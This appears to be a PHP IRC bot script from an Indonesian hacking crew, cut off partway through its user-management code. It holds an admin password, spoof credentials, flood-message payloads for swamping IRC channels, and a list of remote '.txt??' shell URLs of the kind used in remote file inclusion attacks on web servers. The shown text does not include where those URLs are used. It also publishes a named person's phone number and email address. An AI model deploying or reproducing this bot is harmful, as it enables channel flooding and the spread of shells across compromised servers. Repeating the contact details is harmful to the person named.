#######################
set_time_limit(0);
define ('CRLF', "\r\n");
$modbot=new module_bot;
#######################
$Alertbotphp=("
####################################################<br>
##[ ]##<br>
##[ casper_kae@yahoo.com ]##<br>
##[ Created by Kiss_Me or Alert ]##<br>
##[ Thanks to mama ]##<br>
##[ Casper_Cell Parijatah srono ]##<br>
##[ ]##<br>
####################################################<br>
");
#######################
$servban=array("irc.telkom.net.id");
#################### [ CONFIG BOT ] #######################
$servpassbota=array("","1","2","3");
$servpassbotb=array("1","2","3","4","5","6","7","8","9");
$servpassbot="idws".$servpassbota[rand(0,count($servpassbota) - 1)].$servpassbotb[rand(0,count($servpassbotb) - 1)];
$bot['admin']="Original";
$bot['pass']="original";
$bot['inick']="";
$bot['pnick']="";
$bot['basechan']="#Starnetwork";
$bot['roomnet']="";
$bot['roomkey']="";
$bot['local']="localhost";
$bot['server']=$servban[rand(0,count($servban) - 1)];
$bot['port']=6667;
if($bot['server']=="indowebster.id.allnetwork.org"){
$bot['userver']=1;
}
else{
$bot['userver']=0;
}
$bot['pserver']=$servpassbot;
/////////////////////////////////////
$bot['nick']=$modbot->rnd_nick();
$bot['ident']=$modbot->rnd_identnya();
$bot['realname']=" 4Original 0,15#StarNetwork ";$nickgantinya=$bot['admin'];
$bagitarget=OFF;$botaktif="ON";$reident="OFF";$truhostpart="";
################# [ END CONFIG BOT ] ######################
#################### [ AUTH VAR ] #########################
$Admin=strtolower($bot['admin']);
$BOT_PASSWORD=strtolower($bot['pass']);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Owner","ident"=>"","host"=>"","time",""));
################## [ END AUTH VAR ] #######################
$versbot=array("nerakaIRC vRVF beta version by Blockhermaaf kena flood ringan ^_^",
"Xirc v1.0 on (Nokia6101/04.10 )",
"JedIrc v3.2.1 on (Nokia6275i/2005_w21_pb_)",
"MACHO-Irc v0.35 by Macho crew (Anak_kadal) on...........Ma`af perangkat anda tidak bisa mendeteksi perangkat lain.....!!!!!!!!(ERROR READING HARDWARE)",
"mIRC v6.21 Khaled Mardam-Bey By JanCoK",
"ga pernah ngeliat kalkulator bisa di pake buat chat ya??? --",
"KulupanIRc v1.01a by danoxyde on ASUS P5LD2-X/1333 with Intel Core 2 Duo E4500 @2.20 Ghz",
"Xirc v1.0 on (NokiaN70-1/5.0737.3.0.1 )",
"nerakaIRC v0.2 version beta by Blockher onkalkulator casio fx-900 plus (http://blockher.peperonity.com/)",
"JmIrc-G v.4.1 by puy`Yank on Nokia 2626i Up-grade Edition 8GB with LCD flat 29",
"JedIrc v3.2.1 on (SonyEricssonW300i/R4EA031)",
"eggdrop v1.6.18",
"FeeLCoMz AI PHPBot Script By Original",
"JedIrc v3.2 on (Nokia2600c-2/05.61)",
"mIRC v6.35 Khaled Mardam-Bey",
"GaZaM.bLoGsPoT.cOm",
"jmIrc-m v0.34a by Archangel on j2me");
$pingsiapa="";
###################### [ VAR VAR ] ########################
$tsu=array("m","z","p","t","r","x","w","f","h","k","q","c","L");
$nbota=array("1","2","3","4","5","6","7","8","9","0");
$nbotb=array("1","2","3","4","5","6","7","8","9","0");
$zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius");
$nbotna=$nbota[rand(0,count($nbota) - 1)];
$nbotnb=$nbota[rand(0,count($nbota) - 1)];
$nbot=$nbotna.$nbotnb;
$shellq="telek.txt??";
$floddban="ON";$GuardV="ON";
$ctcpversi=$versbot[rand(0,count($versbot) - 1)];
$ctcpfinger=" 9hacked 14by 3- 4= 7[ 14Original 7] 4= 3- ";
$user_chan_arr[][]="";
$notarget=0;
$greetmsg["nick"]["nama"]="";
$greetmsg["nick"]["msg"]="";
$banlist[$bot['basechan']]="";
$ping["ping"]["nick"]="";
$ping["ping"]["chan"]="";
$jmlspoof["irc.ads.net.id"]=0;
$isisp[1]["irc.ads.net.id"]["ident"]="gw";
$isisp[1]["irc.ads.net.id"]["spoof"]="hantu.rese.a.biz";
$isisp[1]["irc.ads.net.id"]["pass"]="spoof1";
$kmusedan[0]["contoh"][]="";
$kmusedan[0]["definisi"][]="";
$kmusedan[0]["kata"][]="";
$kmjml["apa"]="";
$chanson=strtolower($bot['basechan']);
$listison[0]=strtolower($bot['admin']);
$ada1[$listison[0]]=false;
$ada2[$listison[0]]=true;
$hitungnick=1;
$goboom=0;$tmboom=0;$onboom="off";$targetboom="";$warnabenar="";$bw[0]="";$chanboom="";$timeboom=30;
$warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange";
$txttepmp='';$textemp='';$txttepmx='';$temptex='';
$textrep=0;$Maxreep=2;$maxkar=200;
$systembot['ping'][strtolower($bot['basechan'])]=" 4OFF ";
$systembot['NGOMONG'][strtolower($bot['basechan'])]==" 4OFF ";
$clista='cr';$textemp='';
$asalseen['Original']=date("l, j F Y H:i:s");$asalseen['basechanchanel']='#Starnetwork';$asalseen['statusOriginal']="minggat";
$shellacak=array("http://www.mishmaoul.com/images/Originalphp.txt??","http://www.mishmaoul.com/images/Originaldiam.txt??","http://www.mishmaoul.com/images/flod.txt??");
$shellgue=$shellacak[rand(0,count($shellacak) - 1)];
$iscy=time();$isberita=time();
$timercy=2000;$statushost=0;$botcsign="Me";
$timerberita=3000;
$timermsg=2000;
$timeract=2000;
$ikutbos="OFF";
#################### [ END VAR VAR ] ######################
#################### [ CREWET ] ######################
$autojawabpv = array(
"visit: http://originalstarnetwork.blogspot.com",
"My bos is Original : Aldiyanto Umar!! 085340365704<-- if there is a need.. please contact my bos!",
"Info -> http://www.mishmaoul.com/images/Originalcerewet.txt",
"For Information, Visit: http://www.mishmaoul.com/images/Originaldiam.txt",
"<nick> nak mana??",
"lho <nick>.. ada yg bisa dibantu?",
"MuaCh",
"Aslinya mana <nick>??",
"<nick> msh School nGk?",
"Yes <nick> !",
"Add Fb My Bos : sncommunity@yahoo.com ",
"My bos is Original : Aldiyanto Umar!! 085340365704<-- if there is a need.. please contact my bos!",
"Add Fb My bos -> sncommunity@yahoo.com",
"<nick> maunya apa sih?",
"ok",
"asl plz",
"isikan pulsa ya 085340365704 <nick>",
"fb Q sncommunity@yahoo.com add yach <nick>",
"Weks?"
);
$wbmsg = array(
"Welcome to <chan> <nick> Visit: http://originalstarnetwork.blogspot.com",
"Selamat Datang di <chan> <nick> :)",
"Met datang di <chan> <nick> :-)",
"Selamat Datang <nick>.. Informasi mengenai StarNetwork Community, Kunjungi: http://originalstarnetwork.blogspot.com",
"hai <nick>.. boleh kenalan nGk ?",
"wb <nick>.. nak mana ?",
"Wb <nick> :)",
"Welcome to <chan> <nick>.. For Information, Visit: http://originalstarnetwork.blogspot.com",
"Welcome <nick> :) ..please realname!",
"Selamat datang <nick> :) nama kamu siapa?",
"wb <nick>, kenalin gw $namaku ..Add Fb My Bos -> sncommunity@yahoo.com",
"wb <nick>.. untuk bantuan, ketik: help-",
"Welcome <nick>.. untuk bantuan, ketik: help-",
"wah master <nick> datang.. selamat datang :)",
"Wb <nick> dah mkn nGk? lau belum, mkn dulu deh baru oL.. spy nGk sakit lho :)",
"Welcome to <chan> ..contact us, silahkan ketik : contact-",
"Welcome <nick>.. untuk informasi Starnetwork Community ketik : info-",
"Selamat datang di <chan> <nick> ..add Facebook My Bos : sncommunity@yahoo.com",
"wah si <nick>.. selamat datang di <chan> kawan :)",
"Selamat datang di <chan> <nick>.. untuk informasi Starnetwork Community ketik : info-",
"Welcome <nick>.. baru oL ya?",
"welcome to <chan> <nick>..:) untuk bantuan, ketik: help-"
);
$ngomongpamitpart = array(
"Lha kok part? join Ulang di <chan> donkz please..! :D",
"Kok part si <nick> ? join lg ya di <chan>",
"Km jelek <nick>! Gmna part dri <chan> sih -_-!",
"lho kok malah keluar dri <chan> <nick>?",
"hm <chan> kan keren kok part to <nick>?",
"di <chan> part ngk pamid! nGk sopan kmu nih <nick>-_-!!",
"mo kmana <nick>? ntar join lg ya di <chan>",
"<nick> join agy ya di <chan> ! biar tambah rame",
"duh aQ kok ditinggal se <nick> join agy donk di <chan>",
"eh ada yang panggil tuh <nick> di <chan> kok malah kluar."
);
$jawabsapa = array(
"ada apa <nick> thaiank?",
"iya <nick> sayang",
"yup <nick>!",
"Hadaah.. si <nick> manggil mulu ich..",
"males ah <nick> ",
"nanti aja ya <nick>",
"bentar dulu <nick>",
"ichh <nick> bandel banget siy..",
"ga nich <nick>",
"ga jadi deh <nick>",
"Walaaah.. <nick>, ada yg bisa di bantu?",
"hmm..<nick> mo tau ajah",
"Waxz <nick> agagagagaga",
"capee deh.. <nick>",
"apaah <nick> ? ngk dengar aq!",
"sebel ah <nick>",
"<nick> jgn manggil2 terus donk..",
"$namaku cape dipanggil mulu <nick>",
"Eaxeaxea.. <nick> kangen yach?",
"Walah.. kikiki.. <nick> ini cerewet banget..",
"Hadeehh <nick>.. ~_~!"
);
$rmales = "lg males nih <nick>..";
$rmau = "aku mau koq <nick>!";
$rsanggup = "bisa kok <nick>";
$rboleh = "boleh kok <nick>";
$rsetuju = "iya <nick>";
$rthx = "makacih <nick>..";
$rbingung = "hmm..$namaku ga tau jg nih <nick>..";
$rgenit = "ich.. <nick> genit";
$respon_umum = array(
array("makan","silahkan <nick> :)"),
array("nomor","nih nomorq <nick> : 085340365704.. jgn lupa isikan pls ea!"),
array("help-","Bantuan : !ping =nick/me= . !seen =nick= . !whois =nick= . !Version =nick= . !dns =nick/host= . !bom =nick= . !potong =warna kabel= . !sms =nomor= =pesan= . !jam . !chat =#chan= =pesan= . !pesan =nick= =pesananda= . !tarik =nick= . !cium =nick= . !ketak =nick= . !time . !berita . info- . contact- . help- =untuk bantuan= ."),
array("aslm","Wa'alaikumsalam wr.wb <nick>"),
array("brb","ok <nick>"),
array("bos","bosku : Original is Aldiyanto Umar <nick>!"),
array("contact-","085340365704<-- if there is a need.. please contact handphone my bos!"),
array("traktir","<nick>, aku jg ditraktir donk.. kikikiki"),
array("lapar","lho..? <nick> blom makan y?"),
array("pamit","uke dukeh <nick>, ati2 y.. tataw.."),
array("ngantuk","tidur aja lau dah ngantuk <nick>!"),
array("pamed","seep <nick>, ati2 y.. thaaa"),
array("asalam","Wa'alaikumsalam wr.wb <nick>"),
array("bobo","oke deh <nick>, mimpiin aku y"),
array("fb","fb? silahkan Add Fb My bos -> SNCommunity@yahoo.com <nick>!"),
array("assa","Wa'alaikumsalam wr.wb <nick>"),
array("pagi","pagi <nick>"),
array("sore","sore <nick>"),
array("malam","malam <nick>"),
array("siang","siang <nick>"),
array("mandi","aku ikut donk <nick>..gagaga.."),
array("nunggu","ga nunggu kok <nick>"),
array("Info-","<nick>.. Home StarNetwork Community -> http://originalstarnetwork.blogspot.com"),
array("Facebook","Facebook? silahkan Add Fb My bos -> sncommunity@yahoo.com <nick>!"),
array("hp","hp? nih: 085340365704<-- if there is a need.. please contact handphone my bos!:) "),
);
$guyonnya = array(
"",
""
);
$respon_pesan = array(
//Sapaan
array("hai ","hai jg <nick>"),
array("halo ","halo jg <nick>"),
array("ae","ae jg <nick>"),
array("kabar","baik, km gmn <nick>?"),
array("kbr","baik, km gmn <nick>?"),
array("webe","$rthx"),
array("wb","$rthx"),
array("tq","sama2 <nick>"),
array("makasi","sama2 <nick> :)"),
array("makaci","sama2 <nick>"),
array("nalin","hai.. aku $namaku"),
array("nalkan","hai.. aku $namaku"),
array("nalan","boleh koq <nick>.. u 1st"),
//Identitas
array("asl ","<nick>, aku $aslku"),
array("umur","<nick>, klo aq $aslku"),
array("nama","<nick>, aku $namaku .. u?"),
array("skul ","yup <nick>, aku skul."),
array(" kul ","<nick>, ga kul neh.."),
array("alamat","weleeehh.. rahasia donk <nick>.."),
array("nak mana","aQ $aslku <nick>"),
array(" tinggal ","<nick>, aku di rumah"),
array("cowo","blom, klo <nick> gmn?"),
array("pcr","blom, hihi.. klo <nick>?"),
array("pacaran","emangnya <nick> mau ya pacaran ma $namaku?"),
array("pacar ","blom, <nick> ndiri gmn?"),
//Ajakan
array("pv","$rmales"),
array("ngomong","ngomong ttg apa <nick>?"),
array("curhat","mangnya mo curhat masalah apa <nick>?"),
array("nikah ","nikah? ich.. boro2 nikah ma <nick>"),
array("kawin ","kawin?? ich.. ogaaaah.."),
array("kencan","boleh <nick>, kpn neh kencannya?"),
array("besok","boleh <nick>.."),
array("mau ","$rmau"),
//Tuduhan
array("bohong","bohong? ngpn Q bohong.. <nick> kali yg bohong..kekeke"),
array("boong","boong? <nick> tuh yg boong.."),
array("males","yaa.. lagi males aja nih <nick>"),
array("lain","yg lain gmn <nick>?"),
array("laen","yg laen gmn <nick>?"),
array("GR ","<nick> tuh yg ke-GR-an.."),
array("nyambung","<nick>nya aja yg ga nyambung.. xixi"),
array("bot","bot itu gmn? kaya <nick> ntu ya?"),
array(" aneh","aneh gmn <nick>?"),
array("nipu","idiiich..siapa jg yg nipu <nick>.."),
//Kegiatan
array("mandi","klo aku udah mandi <nick>"),
array("makan","udah koq <nick>, klo <nick>?"),
array("maem","udah koq <nick>, klo <nick>?"),
array("mkn","udah neh, klo <nick>?"),
array("belanja","belanja dmn <nick>?"),
array("bobo ","$rmales"),
array("tidur ","$rmales"),
array("ngantuk ","blom neh <nick>.. xixi"),
array("brb","ok <nick> cpt balik ya!"),
array("ngapa","lg chat aja neh <nick>"),
//Pertanyaan
array("salam kenal ","salam kenal jg <nick>"),
array("kenal ","$namaku ga kenal tuh.. xixi"),
array("tau ","$namaku ga tau tuh.. xixi"),
array("napa","aq ga knp2 koq <nick>"),
array("knp","aq ga knp2 koq <nick>"),
array("kemana","disini aja tuh <nick>"),
array("lupa","aq ga lupa koq <nick>"),
array(" mana ","$rbingung"),
array("gimana","hmm.. gimana yach ? kikikiki.."),
//Persetujuan
array("maaf","$rsetuju"),
//Mood
array("cinta","ih.. <nick> gombal deh.."),
array("love","I love u too, <nick>"),
array("jodoh","jodoh kalee <nick>"),
array("kangen","aku jg kangen km, <nick>"),
array("muach","muach <nick>.."),
array("uaach","idih, <nick> ga malu apa nyium2 aku didepan umum.."),
array("kiss","mo permen kiss ya <nick>?"),
array("cium","$rgenit"),
array("eluk ","$rgenit"),
array("elonin","jgn donk <nick>, kan malu.."),
//Additional
array("hihihi","kok <nick> ngetawain aku seh?"),
array("xixi","ngetawain aku y <nick>?"),
array("slap","auw <nick>! atit tau.."),
array("pokes","auw <nick>! atit tauuukk..."),
array("masuk","ih <nick> ngerezz"),
);
$pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat",
"bagus","indah","jujur");
$cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila",
"sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres");
$badwordlist = array("luji","janco","Babi","pepek","kodo","pendo","huangango",
"fuck","pemai","laso","puki","tahede","polombu"," ml ","anjing","cuki",
"tele","pemay"," hule ","lolo ");
$rjorok = array(
"om..! <nick> ngomong jorok nih.. kick dunk pliss!",
"guys..! <nick> ini ga sopan banget.. kick dunk pliss!",
"hadah.. <nick> ga sopan ikz"
);
$rcacian = array(
"idih, <nick> tuch yg <kata>",
"<kata>? bukanya <nick> tuh yg <kata>?",
"gw mmg <kata>, tp <nick> lebih <kata> lagi",
"gw ga <kata> tuh, yg <kata> itu <nick> kan?"
);
$rpujian = array(
"makasih <nick>.. kamu jg koq",
"<nick> baik deh..",
"ga kok <nick>.. km lebih <kata>",
"<kata>? hihi.. <nick> bisa aja",
"thanks <nick>.. aduh $namaku g punya uang kecil nih.."
);
$namaBotPhpini="ert";
#################### [ END CREWET ] ######################
##################### [ CONNECT ] #####################
/////////////////
$servdef=array("telkomnet.id.allnetwork.org",
"irc.indoforum.org",
"plasa.id.allnetwork.org",
"myquran.id.allnetwork.org",
"myquran.id.allnetwork.org",
"uii.id.allnetwork.org",
"irc.allnetwork.org",
"indoforum.us.allnetwork.org",
"uii.id.allnetwork.org",
"velo.id.allnetwork.org",
"indowebster.id.allnetwork.org",
"datautama.id.allnetwork.org",
"citra.id.allnetwork.org",
"jmn.id.allnetwork.org",
"irc.allnetwork.org",
"irc.allnetwork.org",
"big.id.allnetwork.org",
"irc.allnetwork.org",
"irc.allnetwork.org",
);
$keluar=0;$retry=count($servdef)+1;$attconnect=0;$rtdc=0;$botbsign="ss_";
/////////////////
echo "<body bgcolor=#000000 text=#0000FF>";
echo "<font color=#ff0000><a href=http://www.friendster.com/29164335>".$Alertbotphp."</a></font><br><br>";
################### [ CLASS IRC BOT ] #####################
class module_bot{
function rnd_logo(){
$nlogo=array(" 3- 4= 7[ 14Original 7] 4= 3- "," 3- 4= 7[ 14Original 7] 4= 3- ",
" 3- 4= 7[ 14Original 7] 4= 3- "," 3- 4= 7[ 14Original 7] 4= 3- ",
" 3- 4= 7[ 14Original 7] 4= 3- "," 3- 4= 7[ 14Original 7] 4= 3- ",
" 3- 4= 7[ 14Original 7] 4= 3- "," 9p 11a 8[ 4k 8] 11i 9s"
);
return $nlogo[rand(0,count($nlogo) - 1)];
}
function rand_str($size){
$feed = "0123456789abcdefghijklmnopqrstuvwxyz";
for ($i=0; $i < $size; $i++){$rand_str .= substr($feed, rand(0, strlen($feed)-1), 1);}
return $rand_str;
}
function rnd_nick(){
$nickbota=array("Original");
$nickbotb=array("1","2","3","4","5","6","7","8","9");
$nickdepan=$nickbota[rand(0,count($nickbota) - 1)]."]|[";
$nickbotl=$nickbotb[rand(0,count($nickbotb) - 1)];
$nickbotm=$nickbotb[rand(0,count($nickbotb) - 1)];
$nickbotn=$nickbotb[rand(0,count($nickbotb) - 1)];
$nickboto=$nickbotb[rand(0,count($nickbotb) - 1)];
$nickbot=$nickdepan.$nickbotl.$nickbotm.$nickbotn.$nickboto;
return $nickbot;
}
function rnd_identnya(){
$nickbota=array("User","Aldy","bot","Client","SNCbot","saya","gue","aku","Billing");
$nickdepan=$nickbota[rand(0,count($nickbota) - 1)];
return $nickdepan;
}
function rnd_real(){
$realbot=array(" 14,1-=@ 4[ 9Generasi-peneruS 4] 14@=-");
return $realbot[rand(0,count($realbot) - 1)];
}
function rnd_away(){
$awaybot=array("php bot Hacked by 3- 4= 7[ 14Original 7] 4= 3- ");
return $awaybot[rand(0,count($awaybot) - 1)];
}
function rnd_cycle(){
$strcycle=array(" 14,1-=@ 4[ 9Starnetwork Community 4] 14@=-");
return $strcycle[rand(0,count($strcycle) - 1)];
}
function rnd_flod(){
$strflod=array(" [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i",
" 4,4 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@",
" ",
" [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i",
" @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @ @% @@% @@% @@% @@% @@ %@@ %@@ %@@ %@* @% @ @% @",
" [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i [] G i N i [] M a S i H [] K e N a [] f L o O d [] [] H a R i"
);
return $strflod[rand(0,count($strflod) - 1)];
}
function rnd_slapampun(){
$sampunbot=array("bos kojom yuk!","aku neng kene bos!! ojo atek dislaps!!","sini? pv aq bos","kenapa bos?!!","wedew","muach..muach...","ciatsssss... hehehe..","slap? pingin di tium ta?","ampun bosss, aku ndak nakal lagi","siaaaappp bos, ada yang bisa saya buantingin? piring, gelas gtu..",
"hiks..nasib?","jadi tukang slap ya, bos?","edan!!!","mama... tolong....","papa... tolong...","ada apa bos!!!, slap? ra ngerti sik kojom apa?","watauuu tega banget kau boss!!!","Siap!!!","aku di sini sayang","lagi enak? kojom dislap ikz.",
"Ready!!","aduh...jangan di slap dong.. pv aja","iya sayang...","Boss JELEK!!!","Ready to command!","scream!!!!","mama... bos Q jahat!","jahat banget sihh..","What Mission?");
return $sampunbot[rand(0,count($sampunbot) - 1)];
}
function rnd_slapme(){
$slapme=array("egk boleh slap ya say...","tak ada ampun buat loh!","nangisooo ae... 4Dont Slap Me!! ","heheheh ciatsssssssssss. tendangan jet lee","Rasakan ini...","Starnetwork Community","yeee...pv aja, gk usah pake slap..");
return $slapme[rand(0,count($slapme) - 1)];
}
function rnd_slapbos(){
$slapbos=array("huneQ jangan dislap!!","Dont slap my bos!!","Kacian Bos Tauw!!!","bosQ masih sibuk","bosQ lagi tidur, mohon jangan di ganggu"," 2 HaKz DeZz.. "," 2 Awas..!!! "," 2 eiT's.. "," 2 HayOo NaKaLs.. ","jangan ganggu boskuuuuuu","ra ngerti bos lagi sibuk apa... ciattttttttttt jwedak");
return $slapbos[rand(0,count($slapbos) - 1)];
}
#### MODULE IRC #######
function send($sock,$msg){fputs($sock,"$msg".CRLF); }
function quit($sock,$msg){if($msg){$this->send($sock,"QUIT :$msg");} else {$this->send($sock,"QUIT");}sleep(1); }
function msg($sock,$to,$msg){$this->send($sock,"PRIVMSG $to :$msg");}
function act($sock,$to,$msg){$this->send($sock,'PRIVMSG '.$to.' :'.' ACTION '.$msg.' ');}
function invite($sock,$to,$chan){$this->send($sock,"INVITE $to $chan");}
function notice($sock,$to,$msg){$this->send($sock,"NOTICE $to :$msg");}
function join($sock,$chan,$kunci=Null){$this->send($sock,"JOIN $chan $kunci"); }
function part($sock,$chan,$msg){if($msg && (strtolower($msg) != strtolower('#'.$clista.$clistt) )){$this->send($sock,"PART $chan :$msg");} else {$this->send($sock,"PART $chan");} }
function Cycle($sock,$chan,$msg){ if ($msg){$this->part($sock,$chan,$msg);}else{$this->part($sock,$chan,$msg);} sleep(2); $this->join($sock,$chan); }
function nick($sock,$newnick){$this->send($sock,"NICK $newnick");$bot['nick']=$newnick; }
function mode($sock,$mod,$chan,$who){$this->send($sock,"MODE $chan $mod $who"); }
function kick($sock,$chan,$who,$msg){if($msg){$this->send($sock,"KICK $chan $who :$msg");}else{$this->send($sock,"KICK $chan $who");} }
function kickserv($sock,$chan,$who,$msg){$this->msg($sock,"CHANSERV","KICK $chan $who $msg"." "); }
function ban($sock,$chan,$who){$this->send($sock,"MODE $chan +b $who"); }
function unban($sock,$chan,$who){$this->send($sock,"MODE $chan -b $who"); }
function away($sock,$msg){$this->send($sock,"AWAY :$msg"); }
function noaway($sock){$this->send($sock,"AWAY"); }
function topic($sock,$chan,$msg){$this->send($sock,"TOPIC $chan $msg"); }
####################
##########################
function add_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"] = $user_chan_arr[strtolower($chan)]["nick"].' '.$nick. ' ';
$user_chan_arr[strtolower($chan)]["chan"]=strtolower($chan);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function change_nickchan($nick,$newnick){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
$x_chan=$cur_xchan["chan"];
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$nick.' ',' '.$newnick.' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
$user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ','',$user_chan_arr[strtolower($x_chan)]["nick"]);
}
return "ok";
}
function del_nickchan($chan,$nick){
global $user_chan_arr;
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(' '.$nick.' ',' ',$user_chan_arr[strtolower($chan)]["nick"]);
$user_chan_arr[strtolower($chan)]["nick"]=str_replace(" "," ",$user_chan_arr[strtolower($chan)]["nick"]);
return "ok";
}
function show_nickchan($chan){
global $user_chan_arr;
$res_nick=$user_chan_arr[strtolower($chan)]["nick"];
$res_nick=ltrim($res_nick);
return $res_nick;
}
function show_chan(){
global $user_chan_arr,$bot;
foreach ($user_chan_arr as $cur_xchan) {
$showchn=$cur_xchan["chan"];
if($bot['roomnet']==$cur_xchan["chan"]){$showchn="";};
if($bot['basechan']==$cur_xchan["chan"]){$showchn="";};
if($showchn!=""){$res_chan=$res_chan.';'.$cur_xchan["chan"];}
}
return $res_chan;
}
function destroy_chan($chan){
global $user_chan_arr;
unset ($user_chan_arr[$chan]);
return "ok";
}
function destroy_allchan(){
global $user_chan_arr;
foreach ($user_chan_arr as $cur_xchan) {
unset ($user_chan_arr[$cur_xchan["chan"]]);
}
unset ($user_chan_arr);
return "ok";
}
#####################
function user_list($nick){
global $auth;
$userlist="";
foreach ($auth as $ulist) {if($ulist["name"]){$userlist .= $ulist["name"].'('.$ulist["status"].')';}}
return $userlist;
}
function add_user($sock,$nick,$user,$pass,$level){
global $auth,$bot;
$anick=$nick;
$nick = strtolower($nick);
$user = strtolower($user);
$level = strtolower($level);
if ($auth["$nick"]["auth"]==2) {
if ($auth["$nick"]["status"]=="Owner") {
if ($level=="master" || $level=="user" || $level="admin") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
$this->notice($sock,$user,' '.$anick.' ADD YoU To '.$level.' LIsT wiTh PaSSWoRd: '.$pass);
$this->notice($sock,$user,'/msg '.$bot['nick'].' ^login <password>');
}else{
$this->notice($sock,$nick,$user .' is already exist on '.$auth["$user"]["status"].' list.');
}
} else {$this->notice($sock,$nick,'Wrong Command! Type:.Adduser <nick> <pass> <admin|master|user>');}
}
elseif ($auth["$nick"]["status"]=="admin") {
if ($level=="master" || $level=="user") {
if(!$auth["$user"]["name"]){
$auth["$user"]["name"] = $user;
$auth["$user"]["pass"] = $pass;
$auth["$user"]["status"] = $level;
$auth["$user"]["auth"] = 1;
$this->notice($sock,$nick,'ADD [ '.$user.' ] '.$level.' LIsT');
